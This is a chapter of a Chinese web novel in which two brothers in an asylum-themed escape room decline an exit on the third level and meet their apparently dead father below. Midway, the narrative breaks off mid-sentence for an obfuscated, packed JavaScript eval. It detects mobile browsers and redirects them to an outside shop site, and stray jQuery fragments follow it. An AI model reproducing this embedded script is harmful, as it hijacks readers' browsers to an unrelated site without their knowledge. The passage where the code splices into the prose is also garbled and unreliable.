---
门推开的一瞬间，光涌了出来。
不是疯人院那种惨白的灯光，也不是地下那种暗红色的照明。这是一种暖洋洋的白，像冬日午后那种落在手背上就不想收回去的阳光。陈墨穆站在门口眯了一下眼，等他适应了光线之后看清楚了面前的景象——他站在一条走廊里，但这条走廊和之前所有走廊都不一样。
它是宽的，两边是整面整面的玻璃墙，玻璃外面是天空。云在缓慢地移动，地面在下方很远的地方，像他站在一个高处的观景台上。阳光从玻璃外面灌进来，把走廊照得通透明亮，空气里没有消毒水的味道，只有一种干燥的、带了点木头香味的气息。
他往前走了一步，脚下踩着的不是水泥，是浅色的木地板，光脚踩上去应该会有点温。他回头看——身后的门还在，那扇写着“第三层”的门正敞开着，陆续有人从中走出来。
陈汐穆第二个出来。他站在陈墨穆旁边，抬头看着玻璃墙外面的天空，愣了一瞬。然后他收回目光，侧过头看了陈墨穆一眼，没有说话。他的表情很平静，但陈墨穆注意到他攥了一下自己的病号服下摆，又松开了。
后面四个人跟着走出来。主播走在最前面，一出那道门脚步就顿住了，她站在原地张了张嘴，半天才挤出一句：“这……这是三楼？”
眼镜男生从她身后探出半个身子，推了推镜框，环顾了一圈四周，声音里多了几分真正的好奇：“这做得也太像了……这种玻璃工艺，这个光线效果，是真的阳光吗？”
周野走过去，伸手碰了一下玻璃墙的表面：“是凉的。不是真玻璃，是屏幕。”
“屏幕？”主播凑过去也摸了一下，玻璃表面冰凉光滑，触感和真正的玻璃几乎无异，但仔细看的话，能看到极其细微的像素点在光源深处闪烁。
“整面墙都是显示屏。”周野收回手，语气里多了些琢磨，“但技术很高，分辨率到了肉眼分辨不出来的程度。这个花费……可不少。”
陈墨穆没有参与他们的讨论。他朝走廊深处走去。走廊并不长，大概走了四五十步就到了尽头。尽头没有墙壁，而是另一面巨大的玻璃墙。墙外仍然是天空和云层，但玻璃墙的正中央有一扇门——和周围玻璃材质完全一样的门，几乎看不出门缝，只有走近了才看到一道极细的竖直切割线，像有人用金刚石在屏幕上精准地划了一刀。
门上没有把手，没有锁孔。但门旁边有一块小屏幕，屏幕上显示着两个字：“出口。”
陈墨穆站在那扇门前，看了很久。第三层的出口。那个女人——他的母亲——在录像里说过的话浮上来：走到第三层的时候，有一个出口。你们可以从那里出去，回到地面上。
他看着那两个字，没有伸手去碰。身后的脚步声陆续靠近，所有人都在那扇门前停了下来。宋枝站在人群最外层，目光越过所有人的头顶看着那扇门，表情还是那种淡淡的、不太亲近的平静。
眼镜男生走上前，弯腰仔细研究了一下门旁边的小屏幕：“这个‘出口’字是亮的，说明现在可以用？”
“可能吧。”主播的语气变得有些微妙，“不过这是密室啊，谁会在第三层就放出口？”
“那是你爸放的。”陈汐穆突然开口，声音不大，但所有人都听见了。他站在人群后面，病号服松松垮垮地挂在身上，歪着头看那扇门，脸上的表情是一种——恰到好处的迷惑。像是一个精神病人突然说了一句清醒的话，让所有人都不确定他是真清醒还是在犯病。
主播转头看他：“‘我爸’？”
陈汐穆没理他，只是看着陈墨穆：“哥，她说的是真的。第三层有出口。出去就是地面。”
陈墨穆点了下头。然后他转向那四个人：“你们想出去吗？”
那四个人交换了一下眼神。周野先开口了：“我们是来体验密室的啊，出去还怎么体验？”
眼镜男生推了推镜框：“从游戏设计角度来说，第三层放出口是一个很经典的选项结构——玩家可以选择终止或者继续。这是一种心理测试。”
“那就看院长选什么了。”主播笑着说，目光落在陈墨穆身上，“您带我们来的，您决定。”
陈墨穆没有立即回答。他转过身，沿着玻璃走廊往回走，走到来时的路中央停了下来。他站在阳光里，抬头看着玻璃墙外的天空。云层的边缘被光照成金白色，缓缓移动着，像一幅活着的画。
他看了一会儿，低下头。脚边的木地板上，有一道浅得几乎看不出来的痕迹——是他刚才走过来的时候鞋底留下的印子。但印子的方向不对。他刚才是从门那边往出口方向走的，脚印应该朝前。但他脚边这道印子是侧着的，像是有人站在他旁边，面朝着玻璃墙站了很久，脚尖的方向和他完全垂直。
那道印子只有一只脚的轮廓。脚尖朝着玻璃墙。
他蹲下去，伸出手指沿着那道印子的边缘描了一下。尺寸比他自己的脚小一些，像是女人或者半大孩子的脚。
他站起来，顺着那道脚印的方向看向玻璃墙外面的天空。那片天空里没有什么特别的东西，只有云和光。但他注意到一个细节——在他正前方的云层里，有一小块云的形状和周围不太一样。那是人为的痕迹，像是被什么东西从背后顶了一下，微微凸起了一块。他走近了一些，把脸贴近玻璃墙，隔着那层冰凉的表面凝视着那块凸起的云。那上面隐约有字。
他仔细辨认了很久。字是反的，像是从玻璃墙的背面写上去的，正面看过去是镜像文字。他把手机举起来，用前置摄像头对着那行字，屏幕里映出来的是正着的方向。他看清了。
那行字是——“出口是真的。但只开一次。出去的人，不能再回来。”
陈墨穆把手机放下，转头看了一眼身后那群人。他们还在讨论那扇门，声音交织在一起，偶尔漏出几句清晰的议论声。他站在玻璃墙前，退后两步，重新看了一遍那行字。字迹是父亲的。用的是黑色记号笔，和之前走廊里看到的那行“往前走，别停”是同样的力度、同样的倾斜角度。
出口是真的。只开一次。出去的人，不能再回来。
他默念了一遍这句话。
陈汐穆不知道什么时候走到了他身边，顺着他的目光看向那片云：“看到什么了？”
陈墨穆把手机屏幕递给他看。
陈汐穆低头看了两秒，然后把手机还给他，什么也没说。
两个人在玻璃墙前站了一会儿。阳光照在他们的肩膀上，把他们的影子拉得很长很长，一直延伸到身后的木地板上。陈墨穆低下头看了一眼他们俩的影子——他的和陈汐穆的，挨在一起，像是从同一个点生长出来的两棵树，往不同的方向斜去。
他把目光从影子上收回来，重新走回那扇写着“出口”的门前面。
“门是现在就可以开吗？”他问。
小屏幕闪了一下，那两个字被切换成了一行新字：“选择。开门，或者回头。”
陈墨穆伸手碰了一下屏幕。屏幕反馈了一种轻微的震动，然后那行字变了：“开门需要验证。请将左手放在屏幕下方凹槽处。”
他低头看——屏幕下方确实有一个浅浅的凹槽，和之前在第二层见过的那种手型凹槽一模一样。他把左手放了上去。凹槽底部亮起一圈绿色的光，沿着他掌纹的轮廓游走了一遍，然后屏幕上的字再次变化了：“陈墨穆。身份确认。出口已解锁。”
门正中央那道极细的竖线开始发光，从顶部到底部缓缓亮起一条金色的线。门要开了。
所有人的目光都集中在那条金线上。它亮到最顶端的时候，整个门从中间裂开了一道缝，然后缓缓地向两侧滑开。门外不是天空，不是云层，也不是某个房间。门外是一条普通的街道——灰白色的水泥路，路边有旧路灯，电线杆上贴着褪色的小广告，远处能听到电动车驶过的声音，还有一家小卖部的蓝色招牌半掩在树荫里。
阳光真的照进来了，带着地面的温度，带着灰尘，带着那种属于普通世界的、平凡的、还活着的气息。
所有人都安静了几秒。
“……这真的是外面。”周野先开口了。他的声音里带着一种被震住的、意外的轻。“那棵树我认识。就是疯人院大门外面那条街的树。”
眼镜男生走到门口，探出半个身子，左右张望了一下，缩回来：“是的。外面。这是真的。”
主播脸上的笑容终于褪去了。她站在那扇门的边缘，一只脚已经要迈出去了。她回头看着陈墨穆：“院长，你出来吗？”
陈墨穆站在门里，阳光落在他白大褂的肩头，把他整个人镀了一层暖黄色的边。他看着外面那条街，看着那棵老树，看着那家小卖部的蓝色招牌。
他知道他只要跨出一步，就能回到普通的世界里去，回到父亲死之前的所有日子里，回到那条有人声、有烟火气的街道上。然后他低头看了一眼自己的手。他的左手还放在那个凹槽上，凹槽底部的绿光已经灭了，但门还开着。
他侧过头，看了一眼站在旁边的陈汐穆。陈汐穆没有看门外的世界，他一直在看陈墨穆。他的目光静静地，像一只坐在角落里的猫，等你决定是留下来陪他还是转身走开。
陈墨穆收回了自己的手。
那扇门没有立即关上。它维持着敞开的状态，像是在等一个决定。陈墨穆看着门外那条街，看了一会儿。然后他转过身，面对着那四个人。
“你们想出去吗？”
周野耸了耸肩：“我本来就是体验密室的，出去也行。但如果你想继续往下走，我跟着。”
眼镜男生推了推镜框：“从数据分析角度来说，如果这是一个测试选项，那么继续往下走获得的样本量会更完整。”
主播笑了一下：“我是来直播的，直播间还在呢。”她晃了晃手机，屏幕上的弹幕还在滚动。“观众投了票，百分之六十的人想看往下走。”
宋枝没有说话。她站在人群最外面，靠着玻璃墙，手里捏着那张纸条——陈墨穆还给她的那张纸条。她低着头看纸条上的那行字。然后她抬起头说：“我留下来。”
“为什么？”陈墨穆问。
她平静地说：“因为出去之后，我会忘掉这里面的一切。”
所有人同时看向她。她把手里的纸条翻过来，背面对着他们。背面还有一行字，所有人都没注意到过——和正面那行“别相信他们说的话”完全不同。这一行字是用更细的笔写的，颜色也淡一些，像是后来才加上去的：“出口是真的。但出去的人会忘掉这里发生的一切。这是代价。”
她看着陈墨穆：“你刚才让我看影子里东西的时候，我注意到纸条背面了。”
陈墨穆没有说话。他看着那张纸条背面的那行字——和他刚才在云层里看到的镜像文字一样，是父亲的笔迹。出口是真的。但出去的人会忘掉。这就是为什么第二层叫“告别”。告别的不只是一个地方，还是在这里发生过的所有事情。如果你选择出去，你会忘记父亲，忘记这座疯人院，忘记地下那十层，忘记你看到过的所有东西。
“你早就知道了？”他问宋枝。
她点头：“看到的那一瞬间就知道了。但我没告诉任何人。”
“……为什么？”
宋枝把纸条折好放回口袋里，抬头看他的眼睛：“因为我想看看，你会怎么选。”
陈墨穆站在开着的门前。阳光落在他半个身子上，另外半个身子还留在室内的阴影里。他站在那条分界线上，一步就是天壤之别。他回头看了一眼走廊深处，看着那扇写着“第三层”的门还敞开着的门口。门后面是他走过的路，是地下一层、第二层，是父亲的笔记本、母亲的录像、那件会呼吸的病号服、窗户上那只贴着玻璃的手掌。
“汐穆。”他叫了一声。
陈汐穆从玻璃墙那边走过来，走到他身边，和他并肩站在那扇门前面，阳光落在两个人脸上，明亮、温暖、像活着的世界正在朝他们伸手。
“我不出去。”陈墨穆说。
陈汐穆笑了一下：“我知道。”
“你呢？”
陈汐穆偏了偏头，看了一眼门外那条街，看着那棵老树和那家小卖部的蓝色招牌。然后他收回目光，看着陈墨穆：“你走哪儿我走哪儿。”
陈墨穆点了下头。然后他转身，面对着那扇敞开的门，伸出手，握住了门边缘光滑的玻璃表面。他用力一推。门从两侧缓缓合拢，发出一种很轻的、像气泡破裂的声响。那条金色的线从顶部往下暗下去，一点一点地、慢慢熄灭。
门关上了。
最后一线阳光从门缝里消失的时候，陈墨穆感觉自己脚下微微震动了一下。那张写着“出口”的小屏幕暗了，然后重新亮起来，换了一行字：“选择已确认。第三层·出口已关闭。继续前行，请前往第四层入口。”
门的位置恢复了完整的一面玻璃墙，像是从来都没有开过。外面的天空还是蓝的，云层还在缓慢移动。但那片云上那行字已经不见了，像是被风抹去了一样。
陈墨穆站在那面墙前面，看着外面那些还在飘的云，看了很久。他伸手碰了一下刚才门缝消失的位置，掌心贴在冰凉的玻璃表面上。
“走吧。”他说。
他转过身，往走廊深处走去。身后的五个人跟着他，脚步声在木地板上响起来，没有之前那么乱了，沉稳了一些，多了几分确定。他走到走廊尽头的时候，那道写着“第三层”的门已经变了——门板上的字被抹去，取而代之的是一个数字：“04”。
陈墨穆推开了那扇门。
门后面是一条向下的台阶。水泥的，灰扑扑的，和地下一层那种台阶一模一样。没有灯光，只有黑暗从底下涌上来，等着他们走下去。
陈墨穆踩下了第一级台阶。身后的人一个接一个地跟了上来。
他走了大约十几步，陈汐穆的声音从身后传来，闷闷的，像是被台阶的拐角挡了一下：“哥。”
“嗯？”
“第三层……是爸给我们留的后路对吧？”
“对。”
“那我们没走那条后路。”
“对。”
“那爸就没退路了。”
陈墨穆的脚步没有停。他继续往下走着，黑暗把他整个人吞进去，只有他的声音从前面传回来：“他从来没想过要留退路。”
“他就是想看看我们会不会选他。”
陈墨穆走完最后一级台阶。脚下的地面从水泥变成了瓷砖——浅灰色的、光滑的、反射着头顶暗红色灯光的那种瓷砖。他站在一条走廊的入口，走廊尽头是一扇木门。和地下一层那扇一模一样的木门。门上面贴着一张纸条，纸条上写着三个字，字迹是父亲最工整的那种：
“地下三层：重逢。”
陈墨穆走到那扇木门前面，伸手推开了它。
房间里面有一张床。床上躺着一个人。盖着白布。和地下一层那个房间一样的布置，一样的位置，一样的灯光。但这次床上那个人是坐着的。他背对着门口，穿着一件灰色的旧毛衣，背影微驼，头发是灰白的，耳后有一道旧疤。
陈墨穆站在门口，张了张嘴，喉咙里像是被什么东西堵住了，发不出声音。
那个背影微微动了一下，没有回头。他的声音从前面传来，闷闷的，带着笑意，像是一个等了很久很久的人终于等到了他想等的人。
“墨穆，汐穆。”
“你们走到第三层了。”
“那接下来的路——你们还愿意走吗？”
陈墨穆走进房间。他走到床边，绕到那个人正面去。陈汐穆跟在他身后，两个人一左一右地站定，看着床上坐着的那个人。
灰色毛衣，灰白头发，脸上有皱纹，眼角有疲惫。他看着他们两个人，嘴角弯着，眼眶慢慢变红了。他抬起手，手是真实的、温热的，没有半透明，没有虚幻。他伸出两只手，一左一右，分别搭在两个儿子的肩膀上。
“爸爸在这儿。”
陈墨穆跪下来，把脸埋进了父亲膝盖上的毛毯里。
陈汐穆站在旁边愣了两秒，然后也跪下来，靠在了父亲的肩膀上。
房间里没有声音。
但暗红色的灯光下，三个人的影子叠在一起，变成了一个。
章末钩子：
三个人维持着那个姿势很久。久到灯光像是暗了一度。
陈墨穆感觉到父亲搭在他肩上的手是暖的，是真的，是有重量的。他把脸埋在毛毯里，毛毯上有一种旧衣柜里的味道，干燥的樟脑和洗衣粉的残留，是父亲身上的味道，是他记了十年不敢忘的味道。
他抬起头。
父亲还在。没有消失。那双手还在他肩膀上，温热而真实。
陈汐穆靠在父亲肩膀上闭着眼，呼吸慢慢变得平稳绵长，像是终于在哪一刻卸下了什么东西。然后他侧过头，在父亲肩头蹭了蹭，嘴里含含糊糊地嘟囔了一句什么。父亲低头看他，伸出另一只手，替他理了一下病号服的领口。那根手指上有薄茧，划过衣料时有细微的沙沙声。
陈墨穆看着那只手。他注意到父亲右手中指指节侧面有一道很浅的旧痕，像是被什么划过之后留下的印记。那道痕他认识——小时候父亲教他用菜刀切土豆，他手滑了一下，刀背磕在父亲的手指上，流了一点血，后来留下了这道细细的、几乎看不见的白印。
“爸。”陈墨穆开口。
“嗯？”
“你的手是暖的。”
父亲低头看了一眼自己的手：“嗯。”
“所以你是真的。”
父亲沉默了两秒。他放下替陈汐穆整理领口的手，两手交叠着放在膝盖上，低头看着自己的掌心，像在审视它们：“是真的。”
“……那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731734|208966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你这十年，一直都在第三层？”
父亲抬起头看着他。那双眼睛里有一种很深的、像是沉淀了很久的底色，不亮，不晃，是那种被时间泡透了的颜色：“不。我一开始在第十层。但你们走不到第十层。”
“为什么？”
“因为走到第十层的路，我堵住了。”
陈墨穆看着他：“为什么堵住？”
父亲没有直接回答。他低头看了一眼靠在他肩上的陈汐穆——陈汐穆已经彻底睡着了，呼吸均匀，眼皮微微颤动着，像是终于放下来了一样。他看了很久，才重新开口：“因为第十层是你们看到真相的地方。”
“什么真相？”
“……我为什么建这个疯人院。”
陈墨穆等着他往下说。但父亲只是摇了摇头：“现在还不是时候。你们还有路要走。”
“可你已经在这里了。”
“我在这里不代表路走完了。”父亲的声音轻下去，“第三层的我，只是一个节点。你们要走到地下九层，才能见到完整的我。”
“那地下三层是重逢——重逢什么？”
父亲低下头，看着自己的手：“重逢一个还活着的人。”
陈墨穆看着他的脸，看着他眼角那些深刻的皱纹，看着他灰白的头发。十年。他在第三层等了十年。他穿着旧毛衣坐在床上，盖着毯子，像一个普通的、等着儿子回家的父亲。
陈墨穆重新把额头低了下去，抵在父亲的膝侧：“那我不走了。”
父亲的手落在他发顶，轻轻揉了一下：“墨穆。”
“我不走。”
“那你弟怎么办？”
陈墨穆顿住了。他偏过头，看着身边已经睡着的陈汐穆。陈汐穆的手攥着父亲毛衣的下摆，攥得很紧，像小时候怕走丢的时候揪着大人的衣角一样。
父亲的声音从头顶落下来，很轻，像是一层薄灰落在了玻璃上：“他需要你走完。”
“为什么？”
“因为他——以后会需要你今天走完的路来救他。”
陈墨穆抬起头，看着父亲的眼睛：“救他什么？”
父亲没有回答。他只是看着睡着的陈汐穆，看着他那张十八岁的脸，看着他在睡梦中还不自觉攥紧的拳头，看了很久很久。然后他移开目光，看着陈墨穆：“墨穆，你到地下七层的时候，会看到一样东西。那时候你就知道我在说什么了。”
“为什么不能现在告诉我？”
父亲嘴角弯了一下，那弧度里带着一点苦，一点涩：“因为现在告诉你，你就不想走了。”
房间里安静了一瞬。床头的暗红色灯泡发出一声轻微的滋啦声，光不规律地闪了一下，又稳住了。
“爸。”陈墨穆的声音很低，“你在这个房间里……待了十年？”
父亲看着四周的墙壁，目光扫过那些灰扑扑的、没有任何装饰的白墙：“没有十年。第三层是我为你建的。在你们走进来之前，这里什么都没有。”
“那你之前在哪儿？”
“……我哪儿都在。”父亲的声音很平，“我哪儿都不在。”
陈墨穆正想追问，陈汐穆的身体动了一下，像是要醒了。他松开攥着毛衣的手，睁开眼——眼神从恍惚到聚焦只用了一瞬，然后他看清了自己靠在谁的身上，脸色微微变了一下，随即恢复正常。他慢慢坐直了身体，从父亲肩膀上离开，低头揉了揉自己的额头，声音还带着睡意：“……我睡着了？”
“嗯。”父亲看着他，“梦到什么了？”
陈汐穆揉额头的手停了一下：“……梦到你在做饭。”
“做什么饭？”
“红烧肉。”
父亲笑了一下：“你最常吵着要吃的那道。”
陈汐穆抬起头看了他一眼，然后低下头，没有说话。
陈墨穆从地上站起来，低头看着坐在床边的父亲。父亲也看着他，两个人对视了一会儿，谁都没有先开口。然后父亲先动了——他站起来，走到房间角落的那面墙前面，墙面上有一个浅浅的凹痕，和之前那些手型凹槽不一样，它不是用于放手的，更像是一个嵌槽。他从口袋里掏出一把钥匙——新钥匙，铜色的，比之前那把旧铁钥匙更小——插进了那个嵌槽里，转了一下。
墙面无声地裂开一道缝，露出了一个更小的暗格，暗格里放着一本薄薄的旧册子，封面是深蓝色的，边角磨得发白。父亲把册子拿起来，转身递给陈墨穆。
“第三层的‘重逢’——不是和我。”他说。
陈墨穆接过来翻开。册子的第一页是一片空白的，只有右下角用铅笔写了一行小字：“地下三层到地下七层，你们每下一层，翻一页。八层翻第八页，九层翻第九页。到了九层，把所有页连起来读。然后——”
父亲顿了一下：“然后你们就知道，接下来该怎么做。”
陈墨穆把册子合上：“那你呢？”
父亲站在他面前，灰白头发，灰色毛衣，脸上有笑，但那个笑薄薄的，像冬天窗玻璃上的雾气，一碰就要散：“我在九层等你们。”
“你刚才说你在第三层等我，现在又说在九层。你到底在哪儿？”
父亲没有回答。他只是低下头，看着自己的手。那只手上的旧痕还在，温热的触感还在，但他在陈墨穆眼前正在慢慢变得浅淡。不是消失，是变浅——像是一幅画被水反复冲刷之后，颜色从深变淡，从实变虚。
“墨穆。”他说，“第三层的我，只能陪你们到这儿。往下的路，要你们自己走。”
“可你刚说你在九层等我。”
“对。”父亲的声音越来越轻了，“所以我在九层等你们。”
他往后退了半步，身影更淡了，浅灰色的毛衣边缘开始模糊，像是被风从边角吹散了一层：“记住——册子每下一层翻一页。到了七层，不要着急看第八页。到了第八层，不要提前翻第九页。到了第九层——把最后一页翻完。”
“翻完之后呢？”
父亲的身影已经淡到几乎透明了，只有他的声音还浮在空气里，像最后一缕烟：“翻完之后……”
“你们就见到我了。”
他彻底消失了。房间里只剩一张空床，一条灰白毛毯，一盏暗红色的灯。桌面上放着一杯还冒着热气的水，像是一个刚坐过人的位置。
陈墨穆站在空荡荡的房间里，手里攥着那本深蓝色册子。他翻开第一页，翻到背面，看到背面写了一行字：“第三层的礼物——爸爸送你们一程。”
旁边有一支铅笔。笔尖是削好的。
陈墨穆拿起那支铅笔，在第一页的空白处写了一个字——“爸”。然后他把册子合上，放进了白大褂里侧的口袋里，靠近胸口的位置。
陈汐穆走到他身后，下巴搁在他肩膀上，声音闷闷的：“哥，他又走了。”
“他说他在九层等我们。”
“……你信吗？”
陈墨穆没有回答。他抬起头看着那间空房间，看着那张空床，看着那杯还在冒热气的水。他走过去，端起那杯水喝了一口。温的，不烫，入口是白开水的味道，带着一点微微的甜。他把杯子放回桌上，杯底碰到桌面的时候发出一声轻轻的磕响。
然后他转身，走到房间另一侧，那里有一扇门。门板上写着三个字——“第四层”。
他伸手推开了那扇门。门后面是深灰色的水泥台阶，向下延伸，无穷无尽，没有尽头的光。
他迈出第一步。
身后五个人跟着他走进了黑暗里。
那扇写着“第四层”的门在他们身后轻轻关上。台阶两侧的墙壁上每隔几步就有暗黄色的小灯，像垂死前的呼吸一样，亮一下，灭两下。走在中间的宋枝突然停了下来。
她低头看着自己的脚边，沉默了一会儿，然后开口：“院长。”
“嗯？”
“你们在二层看到的那个东西……那个贴着玻璃的手掌。”
“怎么了？”
宋枝抬起头，目光落在台阶尽头的黑暗里：“我刚才经过第三层那扇门的时候，看到它了。它在门的另一侧。不在水里，在外面。它在等我们下去。”
楼梯间安静了。
不知道是从哪一级台阶下方传上来的，又轻又远，像一只湿透了的手掌在水泥墙上慢慢拍了一下。
啪。
又停了。然后陈墨穆继续往下走。
他迈下第三级台阶的时候，低头看了一眼手里那本深蓝色册子。册子的封面微微鼓起来了一点，像是有人从里面往外推了一下，又缩回去了。
他没有停下来翻看。
他继续往下走着，一步一步，走在楼梯的暗影里。
身后，五双脚跟着他的节奏。再身后的黑暗里，隐隐约约多了一道影子。
第六道影子。
它正在慢慢跟上来。